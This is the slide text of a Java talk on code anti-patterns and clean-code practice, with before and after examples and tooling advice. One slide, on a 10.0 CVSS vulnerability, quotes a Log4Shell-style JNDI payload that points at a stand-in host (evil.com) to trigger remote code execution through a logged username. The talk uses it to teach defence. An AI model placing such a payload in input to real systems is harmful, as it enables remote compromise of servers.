From God Objects to Graceful Code
Vitaliy Matiyash | Staff Software Engineer · Columbus, OH
You've maintained a single class with 3,000+ lines?
You fixed one bug only to break two others?
You've had to debug status == 7 with no docs?
You've seen catch (Exception e) { } in production?
"An antipattern is just like a pattern, except that instead of a solution, it gives something that looks superficially like a solution but isn't one."
- Andrew Koenig, 1995
The Classics
Subtle Traps
Beyond Basics
Anti-Pattern 1 of 12
"A single class that knows too much and does too much."
Real-world example:
Spring's AbstractBeanFactory - ~1,800 lines, manages bean creation, dependency resolution, scope handling, type conversion, and lifecycle callbacks in one class.
public class AppManager {
public void createUser(User u) {
if (u.getName() == null) { ... } // Validation
db.execute("INSERT..."); // Persistence
email.sendWelcome(u); // Notification
analytics.track("NEW_USER"); // Monitoring
if (isHoliday()) { ... } // Business Rules
}
// ... 186 more unrelated methods ...
}
// Immutable data carrier (Java 17+)
public record CreateUserRequest(
String name, String email) {}
// Each class: ONE responsibility
public class UserRegistrationService {
private final UserValidator validator;
private final UserRepository repo;
private final NotificationService notifier;
public User register(CreateUserRequest req) {
validator.validate(req);
User user = repo.save(req);
notifier.welcomeEmail(user);
return user;
}
}
Key insight: Java record types eliminate the boilerplate DTOs that tempt you to stuff logic into one class. Each concern gets its own small, testable unit.
public void processOrder(Order order) {
if (order != null) {
if (order.getItems() != null) {
if (order.getItems().size() > 0) {
for (Item item : order.getItems()) {
if (isValid(item)) {
// Finally, the actual logic
process(item);
}
}
}
}
}
}
public void processOrder(Order order) {
if (order == null) return;
if (order.getItems() == null) return;
if (order.getItems().isEmpty()) return;
order.getItems().stream()
.filter(this::isValid)
.forEach(this::process);
}
Flat, linear, readable.
Each guard clause removes a nesting level.
Dead code that solidifies because developers are afraid to delete it.
// Deprecated since Tomcat 4.x (circa 2002)
// Still present in source through 7.x
// "Needed for backwards compatibility"
@Deprecated
public class RequestUtil {
public static String filter(String msg) {
// HTML entity encoding
// Replaced by HtmlUtils in 2004
// 22 YEARS of dead weight
}
}
1. Git is your safety net. Deleted code is never lost - it's in the history. Delete with confidence.
2. Tag deprecated code with deadlines. @Deprecated(since="2024", forRemoval=true) (Java 9+)
3. Run coverage reports. Code with 0% coverage and no callers is safe to delete.
// java.util.Calendar - shipped with Java 1.1
// Months are 0-indexed. January = 0. Why?!
Calendar cal = Calendar.getInstance();
cal.set(2026, 0, 15); // January? Or... ?
if (cal.get(Calendar.DAY_OF_WEEK) == 7) {
// Is 7 Saturday? Sunday? Who remembers?
}
This API confused millions of developers for 20 years.
String url = "jdbc:mysql://prod-db:3306/app";
int timeout = 30000; // 30 seconds... or ms?
// java.time (Java 8+) - no magic numbers
LocalDate date = LocalDate.of(2026, Month.JANUARY, 15);
if (date.getDayOfWeek() == DayOfWeek.SATURDAY) {
// Crystal clear intent
}
@Value("${db.url}")
private String dbUrl;
private static final Duration TIMEOUT =
Duration.ofSeconds(30); // Self-documenting
When String is your only data type.
public void createAccount(
String name,
String email,
String accountType, // "CHECKING"? "checking"? "CHK"?
String status, // "active" or "ACTIVE" or "1"?
String balance) { // "1000.00" — why is money a String?
if (status.equals("active")) { ... } // case-sensitive!
double bal = Double.parseDouble(balance); // NumberFormatException
}
public void createAccount(
CustomerName name,
Email email,
AccountType type, // enum: CHECKING, SAVINGS
AccountStatus status, // enum: ACTIVE, CLOSED
BigDecimal balance) { // no parsing, no precision loss
if (status == AccountStatus.ACTIVE) { ... } // compile-safe
}
public void exportPdf() {
connect();
formatData(); // IDENTICAL
saveFile(); // IDENTICAL
}
public void exportCsv() {
connect();
formatData(); // IDENTICAL
saveFile(); // IDENTICAL
}
Fix bug in one → forget the other → inconsistent behavior.
public abstract class Exporter {
public final void export() {
connect();
formatData(); // Shared logic
writeOutput(); // Override per format
}
protected abstract void writeOutput();
}
public class PdfExporter extends Exporter {
protected void writeOutput() { /* PDF */ }
}
public class CsvExporter extends Exporter {
protected void writeOutput() { /* CSV */ }
}
// Real pattern seen across enterprise codebases
public class CollectionHelper {
public static boolean isEmpty(Collection c) {
return c == null || c.size() == 0;
}
public static String join(List list, String sep) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < list.size(); i++) {
if (i > 0) sb.append(sep);
sb.append(list.get(i));
}
return sb.toString();
}
// 200 more utility methods...
}
// Apache Commons (1B+ downloads)
CollectionUtils.isEmpty(collection);
// Java 8+ built-in
String.join(", ", list);
// Guava (Google)
ImmutableList.of("a", "b", "c");
Rule of thumb: Before writing a utility method, search for it. Apache Commons, Guava, and the JDK itself have been battle-tested by millions of projects.
The patterns that look like good ideas
// "Spring @Async is too slow for our needs"
ExecutorService pool =
new ThreadPoolExecutor(
8, 32, 60L, TimeUnit.SECONDS,
new LinkedBlockingQueue<>(1000),
new CustomThreadFactory(),
new CustomRejectionPolicy()
);
// For a batch job processing 50 items/day
pool.submit(() -> sendEmail(user));
200 lines of thread management for a job that runs twice a day.
// Java 21+ Virtual Threads
// Zero config, no pool tuning needed
try (var scope = new StructuredTaskScope
.ShutdownOnFailure()) {
scope.fork(() -> sendEmail(user));
scope.join();
}
// Or simply: Spring @Async
@Async
public void sendEmail(User user) { ... }
"Premature optimization is the root of all evil."
- Donald Knuth
"Introducing architectural overhead that the problem doesn't demand."
Also known as: Resume-Driven Development
// Spring Boot + SQLite
// 1 JAR, 0 infrastructure
@RestController
public class TodoController {
@GetMapping("/todos")
List<Todo> list() {
return repo.findAll();
}
@PostMapping("/todos")
Todo create(@RequestBody Todo todo) {
return repo.save(todo);
}
}
Deploy: java -jar app.jar
Cost: $5/mo
try {
chargeCustomerCard(order);
} catch (Exception e) {
// TODO: Fix this later
// e.printStackTrace();
// ^ commented out so logs are "clean"
}
// Code continues as if payment succeeded
shipOrder(order); // Ships without payment!
Result: Silent failures in production. No logs, no stack trace, corrupted data.
try {
chargeCustomerCard(order);
} catch (PaymentException e) {
log.error("Payment failed for order {}",
order.getId(), e);
orderService.markPaymentFailed(order);
alerting.notifyOncall(e);
throw e; // Don't continue silently
}
Rules:
Exception"When all you have is a hammer, everything looks like a nail." — Maslow
"The best tool is the simplest one that solves the problem."
Patterns most talks skip
// Classic bug - worked "fine" for years
// until JIT reordered instructions
public class ConnectionPool {
private static ConnectionPool instance;
public static ConnectionPool getInstance() {
if (instance == null) { // Check 1
synchronized (ConnectionPool.class) {
if (instance == null) { // Check 2
instance = new ConnectionPool();
// BUG: Another thread can see
// partially constructed object!
}
}
}
return instance;
}
}
// volatile prevents instruction reordering
private static volatile ConnectionPool instance;
// JVM guarantees thread-safe class loading
public class ConnectionPool {
private static class Holder {
static final ConnectionPool INSTANCE =
new ConnectionPool();
}
public static ConnectionPool getInstance() {
return Holder.INSTANCE;
}
}
"All the complexity of microservices. None of the benefits."
The fix: If you can't deploy independently, you don't have microservices. You have a distributed monolith with extra network hops. Consider staying monolith until you have a real scaling reason to split.
Anti-patterns rarely exist in isolation. They compound.
Studies show: Projects with 3+ co-occurring anti-patterns are 5x more likely to face a rewrite decision within 3 years.
- "Anti-Pattern Interaction Effects" - IEEE Software, 2019
Nuance matters. Dogma is its own anti-pattern.
@Entity inheritance).When anti-patterns enable a 10.0 CVSS vulnerability
The Anti-Patterns:
// This innocent log line:
log.info("Login from: " + username);
// With this username:
// "${jndi:ldap://evil.com/exploit}"
// → Triggers Remote Code Execution
Lessons:
Principles that prevent anti-patterns from forming
"The name of a variable should answer all the big questions." - R.C. Martin
// Try grepping for 't' in 50K lines of code
double t = 500.00;
// What is 7? Active? Deleted? Married?
if (account.status == 7) { ... }
// Single-letter loops scale terribly
for (int i = 0; i < l.size(); i++) {
T o = l.get(i);
if (o.s == 3) { ... }
}
double transactionAmount = 500.00;
// Java enum - type-safe, searchable
if (account.status == Status.ACTIVE) { ... }
// Intent-revealing names
for (Account account : activeAccounts) {
if (account.isOverdue()) {
notifyCollections(account);
}
}
Customer, Account)postPayment(), deletePage())isActive, canExecute)whack() → terminate()
m_name → name
IDEs handle scoping. Skip Hungarian notation.
"The first rule of functions is that they should be small."
"The second rule of functions is that they should be smaller than that."
- Robert C. Martin, Clean Code
When function calls read like morse code.
// What do these booleans mean?
process(order, true, false, true, null);
// 6 months later: someone swaps two arguments
process(order, false, true, true, null); // compiles fine, ships broken
// Even worse: flag arguments
public void sendEmail(Customer c, boolean isUrgent,
boolean addAttachment, boolean bccManager) { ... }
// Option 1: Enum replaces boolean
process(order, Priority.HIGH, Shipping.STANDARD);
// Option 2: Builder pattern
EmailRequest.to(customer)
.urgent()
.withAttachment(report)
.bccManager()
.send();
// Option 3: Separate methods
sendUrgentEmail(customer);
sendWithAttachment(customer, report);
Rule: If a boolean parameter isn't obvious from the call site, it shouldn't be a boolean.
The Step-Down Rule: read code top to bottom, one abstraction level at a time.
public static String testableHtml(
PageData pageData,
boolean includeSuiteSetup) throws Exception {
WikiPage wikiPage = pageData.getWikiPage();
StringBuffer buffer = new StringBuffer();
if (pageData.hasAttribute("Test")) {
if (includeSuiteSetup) {
WikiPage suiteSetup =
PageCrawlerImpl.getInheritedPage(
SuiteResponder.SUITE_SETUP_NAME,
wikiPage);
if (suiteSetup != null) {
WikiPagePath pagePath = suiteSetup
.getPageCrawler()
.getFullPath(suiteSetup);
String pathName =
PathParser.render(pagePath);
buffer.append("!include -setup .")
.append(pathName).append("\n");
}
}
// ... 50 more lines of append logic ...
}
return buffer.toString();
}
public static String renderPage(
PageData pageData,
boolean isSuite) throws Exception {
if (isTestPage(pageData)) {
includeSetupAndTeardownPages(
pageData, isSuite);
}
return pageData.getHtml();
}
1. Fits on one screen
2. Describes what, not how
3. One level of abstraction
"Side effects are lies. Your function promises one thing, but secretly does another."
@Transactional
public OrderSummary getOrderSummary(Long id) {
Order order = orderRepo.findById(id).get();
// SIDE EFFECT: modifies entity inside txn
order.setLastViewedAt(Instant.now());
// JPA dirty checking auto-flushes this
// "Read" method secretly writes to the DB!
return mapper.toSummary(order);
}
// Caller has no idea a "get" mutates data
OrderSummary s = getOrderSummary(42);
A "get" method that silently writes to the database.
// QUERY - no side effects, read-only txn
@Transactional(readOnly = true)
public OrderSummary getOrderSummary(Long id) {
return mapper.toSummary(
orderRepo.findById(id).orElseThrow());
}
// COMMAND - clearly mutates state
@Transactional
public void recordOrderViewed(Long id) {
Order order = orderRepo.findById(id)
.orElseThrow();
order.setLastViewedAt(Instant.now());
}
CQS: Command-Query Separation - Bertrand Meyer
"Error handling is important, but if it obscures logic, it's wrong." - R.C. Martin
public User findUser(String id) {
return userMap.get(id); // might be null
}
// Every caller repeats this:
User u = findUser("123");
if (u != null) { ... } // Forget once → NPE
public Optional<User> findUser(String id) {
return Optional.ofNullable(userMap.get(id));
}
// Caller is FORCED to handle absence
findUser("123")
.map(User::getName)
.orElse("Unknown");
Also: Extract try/catch bodies into separate methods — error handling is ONE thing, it gets its own function. (See the Ostrich Effect slide for exception handling rules.)
"Don't use a comment when you can use a function or a variable." - R.C. Martin
/* Changes:
* 11-Oct: Fixed bug (Jim)
* 05-Nov: Added feature (Pam)
*/
DELETE - Git does this.
/** The Default Constructor */
public Account() {}
/** The day of the month */
private int dayOfMonth;
DELETE - Restating the obvious.
} // end while
} // end if
} // end method
// Added by Rick
REFACTOR - function is too big.
// InputStreamResponse response =
// new InputStreamResponse();
// response = ...
DELETE NOW - it rots forever.
// TODO: Fix this
// efficiency issue
// by 2018...
SCAN WEEKLY - or they go invisible.
// Workaround for JDK-8072452
// Fixed in Java 17.0.3+
// Remove after upgrade
KEEP - explains unavoidable "why".
Java 17-21 features that make anti-patterns harder to write
Kill boilerplate DTOs that balloon into God Objects
// Immutable, equals/hashCode free
public record Point(double x, double y) {}
// Instead of 80-line POJO with getters,
// setters, equals, hashCode, toString
Replace open inheritance with closed hierarchies
public sealed interface Shape
permits Circle, Rectangle, Triangle {}
// Compiler enforces exhaustive matching
// No more "default: throw new
// UnsupportedOperationException()"
Eliminate instanceof chains & switch anti-patterns
// Exhaustive, type-safe switching
double area = switch (shape) {
case Circle c -> Math.PI * c.r() * c.r();
case Rectangle r -> r.w() * r.h();
case Triangle t -> 0.5 * t.b() * t.h();
// Compiler error if case missing!
};
These features don't just improve style - they make entire categories of bugs impossible at compile time.
Your Monday morning action items
SonarQube / SonarLint
Catch smells while you type. Quality Gates block PRs if complexity > 10.
Error Prone (Google)
Compile-time: catches == on strings, unused returns, concurrency bugs.
SpotBugs
Finds null dereference, infinite loops, resource leaks at bytecode level.
If you explain "why" in a comment - refactor instead.
Can you describe this class without using "and"?
Leave every file cleaner than you found it.
The Goal: Write code for Humans first, Compilers second.
Real results: God Object refactoring → complexity −87%, coverage +7.4×, production incidents zero in 6 months.
How many can you find? (There are at least 6)
public class SystemManager { // 1. ???
public void processTransaction(Object data) {
if (data != null) {
if (data instanceof Map) {
Map m = (Map) data; // 2. ???
if (m.get("type") != null) {
if (m.get("type").equals("payment")) {
double amt = (double) m.get("amount"); // 3. ???
String url = "https://pay.internal/api/v1"; // 4. ???
try {
HttpClient.newHttpClient()
.send(buildRequest(url, amt), ofString());
} catch (Exception e) { } // 5. ???
}
}
}
}
}
// ... 150 more methods like this ... // 6. ???
}
What to do when you get back to your desk
Add SonarLint to your IDE. Set up Quality Gates in CI/CD. Stop anti-patterns at the gate.
Apply the Boy Scout Rule: every PR you touch, fix one smell. Rename one variable. Delete one dead method.
Share these patterns with your team. Make anti-pattern identification part of your code review checklist.
Clean Code
Robert C. Martin, 2008
Effective Java, 3rd Ed.
Joshua Bloch, 2018
A Philosophy of Software Design
John Ousterhout, 2018
Refactoring, 2nd Ed.
Martin Fowler, 2018
"Elegant code isn't just about adhering to patterns.
It's about empathy for the next developer who has to read it.
(Even if that developer is you, six months from now, at 3 AM)."
Let's build better software.
Scan to grab the slides or find me online.